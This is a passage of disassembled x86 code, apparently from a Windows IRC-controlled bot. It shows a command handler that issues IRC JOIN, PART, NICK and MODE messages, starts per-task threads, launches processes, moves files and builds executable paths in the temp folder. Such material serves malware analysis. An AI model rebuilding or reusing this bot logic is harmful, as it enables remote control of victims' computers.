XREF: sub_401ACD+4E76j ; sub_401ACD+4E8Dj push 0FFh ; Count lea eax, [ebp+var_2878] push [ebp+Source] ; Source push eax ; Dest call _strncpy push 0FFh ; Count lea eax, [ebp+var_2778] push edi ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str mov [ebp+var_2674], ebx call _atoi mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAC push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB2 ; --------------------------------------------------------------------------- loc_407CAC: ; CODE XREF: sub_401ACD+61C9j mov [ebp+var_2668], ebx loc_407CB2: ; CODE XREF: sub_401ACD+61DDj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC9 push esi ; Str call _atoi pop ecx mov [ebp+var_266C], eax jmp short loc_407CCF ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_401ACD+61EBj mov [ebp+var_266C], ebx loc_407CCF: ; CODE XREF: sub_401ACD+61FAj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+Source] lea eax, [ebp+Dst] push offset asc_42AA34 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Dh ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset sub_4163FA push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407D80 loc_407D6A: ; CODE XREF: sub_401ACD+62B1j cmp [ebp+var_2658], ebx jnz loc_407279 push 32h call ds:dword_427078 ; Sleep jmp short loc_407D6A ; --------------------------------------------------------------------------- loc_407D80: ; CODE XREF: sub_401ACD+629Bj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A9F4 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407D91: ; CODE XREF: sub_401ACD+4E48j ; sub_401ACD+4E5Fj push 7Fh lea eax, [ebp+var_3490] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3410] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3390] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3310] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+Dst] push edi mov [ebp+var_3494], esi push [ebp+Source] push offset asc_42A9B8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 12h ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset sub_414A92 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407E68 loc_407E52: ; CODE XREF: sub_401ACD+6399j cmp [ebp+var_3284], ebx jnz loc_407279 push 32h call ds:dword_427078 ; Sleep jmp short loc_407E52 ; --------------------------------------------------------------------------- loc_407E68: ; CODE XREF: sub_401ACD+6383j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A980 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407E79: ; CODE XREF: sub_401ACD+4D1Bj ; sub_401ACD+4D32j push 7Fh lea eax, [ebp+var_3068] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2FE8] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2F68] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_2EE8] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+Dst] push edi mov [ebp+var_306C], esi push [ebp+Source] push offset asc_42A950 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Eh ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset sub_4137CD push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407F50 loc_407F3A: ; CODE XREF: sub_401ACD+6481j cmp [ebp+var_2E5C], ebx jnz loc_407279 push 32h call ds:dword_427078 ; Sleep jmp short loc_407F3A ; --------------------------------------------------------------------------- loc_407F50: ; CODE XREF: sub_401ACD+646Bj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A918 jmp loc_40726A ; --------------------------------------------------------------------------- loc_407F61: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3C64] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3BE4] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3B64] push [ebp+Format] ; Source push eax ; Dest call _strncpy push 20h ; Count lea eax, [ebp+var_3AE4] push [ebp+arg_8] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+Dst] push edi mov [ebp+var_3CEC], esi push [ebp+Source] push offset asc_42A8E8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Dh ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset sub_412A54 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408049 loc_408033: ; CODE XREF: sub_401ACD+657Aj cmp [ebp+var_3A5C], ebx jnz loc_407279 push 32h call ds:dword_427078 ; Sleep jmp short loc_408033 ; --------------------------------------------------------------------------- loc_408049: ; CODE XREF: sub_401ACD+6564j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A8B0 jmp loc_40726A ; --------------------------------------------------------------------------- loc_40805A: ; CODE XREF: sub_401ACD+4BC4j ; sub_401ACD+4BDBj push 7Fh ; Count lea eax, [ebp+var_1778] push [ebp+Source] ; Source push eax ; Dest call _strncpy push edi ; Str call _atoi push 3Fh ; Count mov [ebp+var_1628], eax push [ebp+Src] ; Source lea eax, [ebp+var_16F8] push eax ; Dest call _strncpy mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A5 push 3Fh ; Count lea eax, [ebp+var_16B8] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_4080A5: ; CODE XREF: sub_401ACD+65C4j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+Dst] push offset asc_42A880 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Fh ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408131 loc_40811B: ; CODE XREF: sub_401ACD+6662j cmp [ebp+var_161C], ebx jnz loc_406CDF push 32h call ds:dword_427078 ; Sleep jmp short loc_40811B ; --------------------------------------------------------------------------- loc_408131: ; CODE XREF: sub_401ACD+664Cj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42A844 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_408142: ; CODE XREF: sub_401ACD+4B84j ; sub_401ACD+4B9Bj push edi ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408235 push [ebp+Source] ; Format mov esi, 80h lea eax, [ebp+var_1EEC] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+Source] lea eax, [ebp+Dst] push offset asc_42A818 ; "-" push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 15h ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset sub_412E9E push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_408224 loc_408212: ; CODE XREF: sub_401ACD+6755j cmp [ebp+var_1D54], ebx jnz short loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_408212 ; --------------------------------------------------------------------------- loc_408224: ; CODE XREF: sub_401ACD+6743j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A7E0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_408235: ; CODE XREF: sub_401ACD+6684j push offset unk_42A7A8 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40823F: ; CODE XREF: sub_401ACD+4B56j ; sub_401ACD+4B6Dj push edi push [ebp+Source] call ds:dword_4270B4 ; MoveFileA test eax, eax jz short loc_40826C push edi lea eax, [ebp+Dst] push [ebp+Source] push offset asc_42A784 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_40828C ; --------------------------------------------------------------------------- loc_40826C: ; CODE XREF: sub_401ACD+677Ej push offset dword_42A778 call sub_41814D pop ecx push eax ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf loc_408289: ; CODE XREF: sub_401ACD+2F2Bj ; sub_401ACD+5570j add esp, 0Ch loc_40828C: ; CODE XREF: sub_401ACD+2137j ; sub_401ACD+2ECDj ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_4082A9: ; CODE XREF: sub_401ACD+57C7j call sub_409A73 add esp, 14h jmp loc_4083BD ; --------------------------------------------------------------------------- loc_4082B6: ; CODE XREF: sub_401ACD+4B28j ; sub_401ACD+4B3Fj push [ebp+Source] ; Format lea eax, [ebp+var_3F04] push 104h ; Count push eax ; Dest call __snprintf add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082F0 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4082F0 push eax ; Format lea eax, [ebp+var_3E00] push eax ; Dest call _sprintf pop ecx pop ecx loc_4082F0: ; CODE XREF: sub_401ACD+6803j ; sub_401ACD+6812j push [ebp+Format] ; Format lea eax, [ebp+var_3F84] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset asc_42A748 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 24h ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset sub_416CAE push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4083A2 loc_408390: ; CODE XREF: sub_401ACD+68D3j cmp [ebp+var_3CF0], ebx jnz short loc_4083BD push 32h call ds:dword_427078 ; Sleep jmp short loc_408390 ; --------------------------------------------------------------------------- loc_4083A2: ; CODE XREF: sub_401ACD+68C1j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset asc_42A70C ; "-" loc_4083AE: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_4083BD: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D03 ; --------------------------------------------------------------------------- loc_4083C5: ; CODE XREF: sub_401ACD+4AFAj ; sub_401ACD+4B11j push 44h lea eax, [ebp+var_668] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+Source] ; Str mov [ebp+var_63C], esi call _atoi add esp, 10h cmp eax, esi jnz short loc_408404 mov [ebp+var_638], 5 loc_408404: ; CODE XREF: sub_401ACD+692Cj cmp [ebp+var_C], ebx jz loc_406CDF push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDF lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_42706C ; CreateProcessA test eax, eax jnz short loc_40844D push offset unk_42A6E8 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40844D: ; CODE XREF: sub_401ACD+6974j push edi push offset dword_42A6CC jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_408458: ; CODE XREF: sub_401ACD+4ACCj ; sub_401ACD+4AE3j push edi ; Str2 push offset aQsfposs ; "qsfposs" call _strcmp pop ecx test eax, eax pop ecx jz loc_4085D1 lea eax, [ebp+var_48F0] push eax push 104h call ds:dword_4270B0 ; GetTempPathA push 0FFh ; Count lea eax, [ebp+var_25D0] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_17D0] push eax call sub_40AD81 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax ; Dest call _sprintf mov eax, [ebp+esi+Str2] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084ED push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F3 ; --------------------------------------------------------------------------- loc_4084ED: ; CODE XREF: sub_401ACD+6A0Aj mov [ebp+var_23C0], ebx loc_4084F3: ; CODE XREF: sub_401ACD+6A1Ej mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40850A push esi ; Str call _atoi pop ecx mov [ebp+var_23C4], eax jmp short loc_408510 ; --------------------------------------------------------------------------- loc_40850A: ; CODE XREF: sub_401ACD+6A2Cj mov [ebp+var_23C4], ebx loc_408510: ; CODE XREF: sub_401ACD+6A3Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+Source] mov [ebp+var_23B8], eax lea eax, [ebp+Dst] push offset asc_42A694 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Eh ; int push eax ; Source call sub_40B0F7 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset sub_4163FA push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4085C0 loc_4085AA: ; CODE XREF: sub_401ACD+6AF1j cmp [ebp+var_23B0], ebx jnz loc_406CDF push 32h call ds:dword_427078 ; Sleep jmp short loc_4085AA ; --------------------------------------------------------------------------- loc_4085C0: ; CODE XREF: sub_401ACD+6ADBj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42A658 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4085D1: ; CODE XREF: sub_401ACD+699Aj push offset asc_42A610 ; "-" loc_4085D6: ; CODE XREF: sub_401ACD+2E74j ; sub_401ACD+457Dj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_406CDF ; --------------------------------------------------------------------------- loc_4085E9: ; CODE XREF: sub_401ACD+4A9Ej ; sub_401ACD+4AB5j push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx pop ecx push eax lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push [ebp+Source] ; Str call _atoi add esp, 28h test eax, eax jle short loc_408674 push [ebp+Source] ; Str call _atoi imul eax, 3E8h pop ecx push eax call ds:dword_427078 ; Sleep loc_408674: ; CODE XREF: sub_401ACD+6B8Fj push offset dword_42A5EC call sub_4151AD mov eax, [ebp+File] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408688: ; CODE XREF: sub_401ACD+4A70j ; sub_401ACD+4A87j push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409855 push edi ; SubStr push [ebp+var_C] ; Str call _strstr inc edi push offset aRepeat ; "repeat" push edi ; Str1 mov esi, eax call _strcmp add esp, 10h test eax, eax push esi jz short loc_408746 push [ebp+Format] lea eax, [ebp+Dst] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push offset asc_42A5D4 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_4151AD push [ebp+Source] ; Str call _atoi add esp, 14h test eax, eax jle loc_409855 push [ebp+Source] ; Str call _atoi add eax, [ebp+File] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408746: ; CODE XREF: sub_401ACD+6BFBj push offset asc_42A5A0 ; "-" loc_40874B: ; CODE XREF: sub_401ACD+7543j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40875A: ; CODE XREF: sub_401ACD+74CBj ; sub_401ACD+7624j cmp [ebp+var_8], ebx jnz short loc_40877B push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_40877B: ; CODE XREF: sub_401ACD+6C90j ; sub_401ACD+72C8j ... lea eax, [ebp+Dst] push eax call sub_4151AD jmp loc_409854 ; --------------------------------------------------------------------------- loc_40878C: ; CODE XREF: sub_401ACD+4A42j ; sub_401ACD+4A59j push 7Fh ; Count lea eax, [ebp+var_2214] push [ebp+Source] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2194] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2114] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+Source] mov [ebp+var_208C], eax lea eax, [ebp+Dst] mov [ebp+var_2218], esi push offset asc_42A56C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Fh ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset sub_4143CC push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40884C loc_40883A: ; CODE XREF: sub_401ACD+6D7Dj cmp [ebp+var_2088], ebx jnz short loc_408867 push 32h call ds:dword_427078 ; Sleep jmp short loc_40883A ; --------------------------------------------------------------------------- loc_40884C: ; CODE XREF: sub_401ACD+6D6Bj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset asc_42A530 ; "-" loc_408858: ; CODE XREF: sub_401ACD+6E8Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_408867: ; CODE XREF: sub_401ACD+6D73j ; sub_401ACD+6E6Ej cmp [ebp+var_8], ebx jnz loc_409631 push ebx lea eax, [ebp+Dst] push [ebp+var_4] push eax push [ebp+Format] push esi jmp loc_409629 ; --------------------------------------------------------------------------- loc_408887: ; CODE XREF: sub_401ACD+4A14j ; sub_401ACD+4A2Bj push 7Fh ; Count lea eax, [ebp+var_23A8] push [ebp+Source] ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_2328] push edi ; Source push eax ; Dest call _strncpy push 7Fh ; Count lea eax, [ebp+var_22A8] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+Source] mov [ebp+var_2220], eax lea eax, [ebp+Dst] mov [ebp+var_23AC], esi push offset asc_42A504 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 11h ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset sub_413B78 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40894B loc_408935: ; CODE XREF: sub_401ACD+6E7Cj cmp [ebp+var_221C], ebx jnz loc_408867 push 32h call ds:dword_427078 ; Sleep jmp short loc_408935 ; --------------------------------------------------------------------------- loc_40894B: ; CODE XREF: sub_401ACD+6E66j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42A4C8 jmp loc_408858 ; --------------------------------------------------------------------------- loc_40895C: ; CODE XREF: sub_401ACD+49E6j ; sub_401ACD+49FDj push edi lea eax, [ebp+Dst] push offset aPartS_0 ; "PART %s" push eax ; Dest call _sprintf push [ebp+Source] ; Str call _atoi add esp, 10h loc_408979: ; CODE XREF: sub_401ACD+6F17j test eax, eax jle loc_409855 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 loc_408995: ; CODE XREF: sub_401ACD+7A56j lea eax, [ebp+Dst] push eax ; Args push offset aS ; "%s\r\n" push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A2D jmp loc_404934 ; --------------------------------------------------------------------------- loc_4089C0: ; CODE XREF: sub_401ACD+49B8j ; sub_401ACD+49CFj push [ebp+esi+Str2] lea eax, [ebp+Dst] push edi push offset aJoinSS_0 ; "JOIN %s %s" push eax ; Dest call _sprintf push [ebp+Source] ; Str call _atoi add esp, 14h jmp short loc_408979 ; --------------------------------------------------------------------------- loc_4089E6: ; CODE XREF: sub_401ACD+498Aj ; sub_401ACD+49A1j push edi lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf mov esi, [ebp+Source] push esi ; Str call _atoi add esp, 10h test eax, eax jle loc_409855 push esi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 lea eax, [ebp+Dst] push eax ; Args push offset aS ; "%s\r\n" push esi ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A2D add esp, 0Ch push edi push esi ; Args push offset dword_42A490 ; Format loc_408A4C: ; CODE XREF: sub_401ACD+700Aj ; sub_401ACD+7079j ... call sub_415221 jmp loc_404934 ; --------------------------------------------------------------------------- loc_408A56: ; CODE XREF: sub_401ACD+495Cj ; sub_401ACD+4973j cmp [ebp+var_C], ebx jz loc_409855 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A85 push esi lea eax, [ebp+Dst] push offset aModeS ; "MODE %s" push eax ; Dest call _sprintf add esp, 0Ch loc_408A85: ; CODE XREF: sub_401ACD+6FA1j mov edi, [ebp+Source] push edi ; Str call _atoi test eax, eax pop ecx jle loc_409855 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 lea eax, [ebp+Dst] push eax ; Args push offset aS ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A2D add esp, 0Ch push esi push edi push offset dword_42A46C jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408ADC: ; CODE XREF: sub_401ACD+492Ej ; sub_401ACD+4945j cmp [ebp+var_C], ebx jz loc_409855 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 mov edi, [ebp+Source] push edi ; Str call _atoi test eax, eax pop ecx jle loc_409855 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 push esi ; Args push offset aS ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A2D add esp, 0Ch push esi push edi push offset dword_42A450 jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408B4B: ; CODE XREF: sub_401ACD+4900j ; sub_401ACD+4917j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push esi ; Args push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push esi push offset unk_42A428 jmp loc_40984E ; --------------------------------------------------------------------------- loc_408B87: ; CODE XREF: sub_401ACD+48D2j ; sub_401ACD+48E9j push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_401E94 push edi ; Args push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409A2D push [ebp+Source] ; Str call _atoi imul eax, 3E8h add esp, 10h push eax call ds:dword_427078 ; Sleep push [ebp+esi+Str2] push edi ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409A2D push offset dword_42A408 call sub_4151AD jmp loc_403520 ; --------------------------------------------------------------------------- loc_408BEB: ; CODE XREF: sub_401ACD+48A4j ; sub_401ACD+48BBj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+Source] ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push edi ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409855 push esi lea eax, [ebp+Dst] push offset dword_42AB3C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push [ebp+Source] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 20h push esi push [ebp+Source] push offset unk_42A3EC jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408C58: ; CODE XREF: sub_401ACD+4876j ; sub_401ACD+488Dj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+Source] ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push edi ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409855 push ebx ; int push ebx ; int push esi ; int push [ebp+Source] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h push esi push [ebp+Source] push offset unk_42A3CC jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408CAD: ; CODE XREF: sub_401ACD+4848j ; sub_401ACD+485Fj cmp [ebp+var_C], ebx jz loc_401E94 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax ; int push [ebp+Source] ; Str2 call sub_4150B5 pop ecx pop ecx push [ebp+Source] push offset asc_42A3AC ; "-" loc_408CDC: ; CODE XREF: 